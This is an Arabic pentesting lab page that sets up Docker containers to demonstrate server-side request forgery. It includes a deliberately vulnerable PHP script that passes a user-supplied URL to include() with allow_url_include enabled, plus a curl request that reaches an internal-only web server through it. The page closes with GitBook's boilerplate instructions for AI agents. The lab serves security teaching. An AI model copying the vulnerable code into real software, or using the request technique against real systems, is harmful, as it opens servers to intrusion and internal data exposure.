> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-request-forgery-ssrf/ssrf-curl-pentesting-web.md).

# SSRF Curl

## تثبيت السيناريو الثاني (ثغرة SSRF)

* أزل الحاويات السابقة:

```bash
docker rm $(docker ps -a -q) --force
docker network create --driver=bridge network1 --subnet=10.10.0.0/24

```

* أنشئ ثلاث حاويات (**ما بعد الإنتاج، الويب العام، والمهاجم**):

```bash
docker run -dit --name PRO ubuntu
docker network connect network1 PRO # لربط عنوان IP

```

خادم الويب للجهاز (**ما بعد الإنتاج**): ![](/files/34dd7b0635bd642ce1efb1942ffaced0305b5eb0)

```bash
apt install apache2 php nano -y
service apache2 start

```

* في **/var/www/html**، أنشئ `utility.php` الملف:

```php
<?php
if (isset($_GET['url'])) {
    $url = $_GET['url'];
    echo "/n[+] عرض محتوى الموقع من " . $url . ":/n/n";
    include($url);
} else {
    echo "/n[!] لم يتم توفير أي قيم لمعامل URL/n/n";
}
?>

```

* في هذه الحالة، لا **يعرضه** بشكل صحيح: ![](/files/5e42a9497938b37fcdc8e63a5916cfa8b0f1e860)
* للقيام بذلك، يجب عليك تعديل هذا الملف: **"/etc/php/8.1/apache2/php.ini"** عن طريق ضبط \_allow/\_url/*include* إلى on: ![](/files/4c2b5be178512fe549e700526e3910b374ecfc20)
* أعد تشغيل الخدمة **apache2**:

```bash
service apache2 restart

```

* أنشئ **login.html** الملف في `/tmp/` الذي يحاكي صفحة تسجيل دخول على الموقع العام:

```html
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>صفحة تسجيل الدخول</title>
<style>
Body {
  font-family: Calibri, Helvetica, sans-serif;
  background-color: rose;
}
button {
       background-color: #4CAF50;
       width: 100%;
        color: orange;
        padding: 15px;
        margin: 10px 0px;
        border: note;
        cursor: pointer;
         }
 form {
        border: 3px solid #f1f1f1;
    }
 input[type=text], input[type=password] {
        width: 100%;
        margin: 8px 0;
        padding: 12px 20px;
        display: inline-block;
        border: 2px solid green;
        box-sizing: border-box;
    }
 button:hover {
        opacity: 0.7;
    }
  .cancelbtn {
        width: auto;
        padding: 10px 18px;
        margin: 10px 5px;
    }
 .container {
        padding: 25px;
        background-color: lightblue;
    }
</style>
</head>
<body>
    <center><h1>نموذج تسجيل دخول الطالب (PRO)</h1></center>
    <form>
        <div class="container">
            <label>اسم المستخدم:</label>
            <input type="text" placeholder="أدخل اسم المستخدم" name="username" required>
            <label>كلمة المرور:</label>
            <input type="password" placeholder="أدخل كلمة المرور" name="password" required>
            <button type="submit">تسجيل الدخول</button>
            <input type="checkbox" checked="checked"> تذكرني
            <button type="button" class="cancelbtn">إلغاء</button>
            هل نسيت <a href="#">كلمة المرور؟</a>

    </form>
</body>
</html>

```

* الآن قم بتكوين **ما بعد الإنتاج** الجهاز:

```bash
docker run -dit --name PRE --network=network1 ubuntu

```

![](/files/42e1c98f31b3516be79621a93bdd07b546085f8a)

```bash
apt install nano python3 curl -y

```

* أنشئ **HTML** الملف في `/tmp` بالمحتوى أدناه. يجب ألا يكون مرئيًا خارج الشبكة الداخلية: `لا ينبغي أن تكون قادرًا على عرض هذا المحتوى لأنه غير مكشوف خارجيًا ويطابق خدمة ويب مستضافة على جهاز داخل الشبكة الداخلية للشركة.`
* إنشاء خادم ويب باستخدام **Python3** على المنفذ 7878:

```bash
python3 -m http.server 7878

```

* أخيرًا، أنشئ **المهاجم** الجهاز:

```bash
docker run -dit --name ATTACKER ubuntu

```

![](/files/fe63f62e481741e8e5c11104a7d95b60fa4497c7)

مخطط تقني لفهم السيناريو الثاني (**يوجد موقع ويب على جهاز لينكس على المنفذ 8089 لا يكون مرئيًا إلا من الشبكة الداخلية**):

<figure><img src="/files/c64883d9863e06cd7dc9c86e37060e289656d9b5" alt="" width="563"><figcaption></figcaption></figure>

من **المهاجم** في الحاوية، نستخدم curl للوصول إلى الجهاز الذي يشغّل خادم الويب، لكنه لا يعمل:

<figure><img src="/files/cef2ef4877637fbc598c60ebcb902d239afa48ad" alt=""><figcaption></figcaption></figure>

ولكن إذا استخدمنا **SSRF** التقنية، يمكننا الوصول إلى الملف المخفي:

```arduino
curl "http://172.17.0.2/utility.php?url=http://10.10.0.3:7878/"

```

<figure><img src="/files/fe41b0d14683af9cee8344af14808263dbc8598b" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-request-forgery-ssrf/ssrf-curl-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
